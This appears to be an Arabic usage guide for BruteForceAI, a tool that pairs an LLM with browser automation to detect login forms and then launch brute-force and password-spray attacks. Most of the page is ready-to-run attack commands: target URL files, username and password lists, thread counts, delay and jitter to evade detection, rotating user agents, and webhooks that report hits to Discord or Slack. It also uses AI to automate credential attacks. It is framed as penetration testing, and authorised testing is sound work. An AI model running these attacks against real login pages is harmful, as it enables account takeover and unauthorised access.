
أداة تخمين قوية متقدمة مدعومة بـ LLM تجمع بين الذكاء الاصطناعي وهجمات تسجيل الدخول الآلية
أداة تخمين متقدمة مدعومة بنماذج اللغة الكبيرة (LLM) تجمع بين ذكاء الذكاء الاصطناعي وهجمات تسجيل الدخول الآلية
BruteForceAI هي أداة متقدمة لاختبار الاختراق تُحدث ثورة في هجمات التخمين التقليدية من خلال دمج نماذج اللغة الكبيرة (LLM) لتحليل النماذج بذكاء. تحدد الأداة تلقائيًا محددات نموذج تسجيل الدخول باستخدام الذكاء الاصطناعي، ثم تنفذ هجمات متعددة الخيوط متطورة بأنماط سلوك تشبه البشر.
# Python 3.8 or higher
python --version
حافظ على عزل التبعيات عن Python الخاص بنظامك باستخدام venv المدمج:
# 1. Create a virtual environment
python -m venv .venv
# 2. Activate it
# Windows (PowerShell):
.venv\Scripts\Activate.ps1
# Windows (cmd):
.venv\Scripts\activate.bat
# macOS / Linux:
source .venv/bin/activate
ملاحظة: خطوة
python -m venv .venvمطلوبة مرة واحدة فقط. في كل جلسة طرفية جديدة، أعد تشغيل أمر التنشيط (الخطوة 2) قبل استخدام الأداة. للخروج من البيئة الافتراضية، شغّلdeactivate.
# Install Python packages
pip install -r requirements.txt
# Install the Playwright browser
playwright install chromium
الحزم المطلوبة:
playwright - أتمتة المتصفحrequests - طلبات HTTPPyYAML - تحليل YAML لفحوصات التحديث# Install Ollama
curl -fsSL https://ollama.ai/install.sh | sh
# Pull recommended model
ollama pull llama3.2:3b
--llm-provider groq --llm-api-key YOUR_KEYOllama (محلي):
llama3.2:3b - الافتراضي، توازن جيد بين السرعة والجودةllama3.2:1b - الأسرع، نموذج أصغر للتحليل السريعqwen2.5:3b - بديل بأداء جيدGroq (سحابي):
llama-3.3-70b-versatile - الافتراضي والأفضل - أحدث نموذج بجودة فائقة (محاولة واحدة)llama3-70b-8192 - بديل سريع وموثوق (محاولة واحدة)gemma2-9b-it - خيار خفيف الوزن، جيد للنماذج البسيطة (محاولة واحدة)llama-3.1-8b-instant - ⚠️ غير موصى به (مشكلات تحديد المعدل، 3+ محاولات)# Best quality (recommended for complex forms)
python BruteForceAI.py analyze --urls targets.txt --llm-provider groq --llm-model llama-3.3-70b-versatile --llm-api-key YOUR_KEY
# Fast and reliable
python BruteForceAI.py analyze --urls targets.txt --llm-provider groq --llm-model llama3-70b-8192 --llm-api-key YOUR_KEY
# Lightweight for simple forms
python BruteForceAI.py analyze --urls targets.txt --llm-provider groq --llm-model gemma2-9b-it --llm-api-key YOUR_KEY
# Local processing (no API key needed)
python BruteForceAI.py analyze --urls targets.txt --llm-provider ollama --llm-model llama3.2:3b
python BruteForceAI.py analyze --urls urls.txt --llm-provider ollama
python BruteForceAI.py attack --urls urls.txt --usernames users.txt --passwords passwords.txt --threads 10
python BruteForceAI.py <command> [options]
analyze - تحليل نماذج تسجيل الدخول باستخدام LLMattack - تنفيذ هجمات القوة الغاشمةclean-db - تنظيف جداول قاعدة البياناتcheck-updates - التحقق من تحديثات البرنامج# Step 1: Analyze forms
python BruteForceAI.py analyze --urls targets.txt --llm-provider ollama --llm-model llama3.2:3b
# Step 2: Attack with 20 threads
python BruteForceAI.py attack --urls targets.txt --usernames users.txt --passwords passwords.txt --threads 20 --delay 5 --jitter 2
python BruteForceAI.py attack \
--urls targets.txt \
--usernames users.txt \
--passwords passwords.txt \
--mode passwordspray \
--threads 15 \
--delay 10 \
--jitter 3 \
--success-exit \
--user-agents user_agents.txt \
--verbose \
--output results.txt
python BruteForceAI.py attack \
--urls targets.txt \
--usernames users.txt \
--passwords passwords.txt \
--discord-webhook "https://discord.com/api/webhooks/..." \
--slack-webhook "https://hooks.slack.com/services/..." \
--threads 10
python BruteForceAI.py analyze \
--urls targets.txt \
--show-browser \
--browser-wait 5 \
--debug \
--llm-provider ollama
# Check for software updates
python BruteForceAI.py check-updates
# Check with output to file
python BruteForceAI.py check-updates --output update_check.txt
# Skip version check completely for faster startup
python BruteForceAI.py analyze --urls targets.txt --skip-version-check
python BruteForceAI.py attack --urls targets.txt --usernames users.txt --passwords passwords.txt --skip-version-check
# Also works as global flag (before subcommand)
python BruteForceAI.py --skip-version-check analyze --urls targets.txt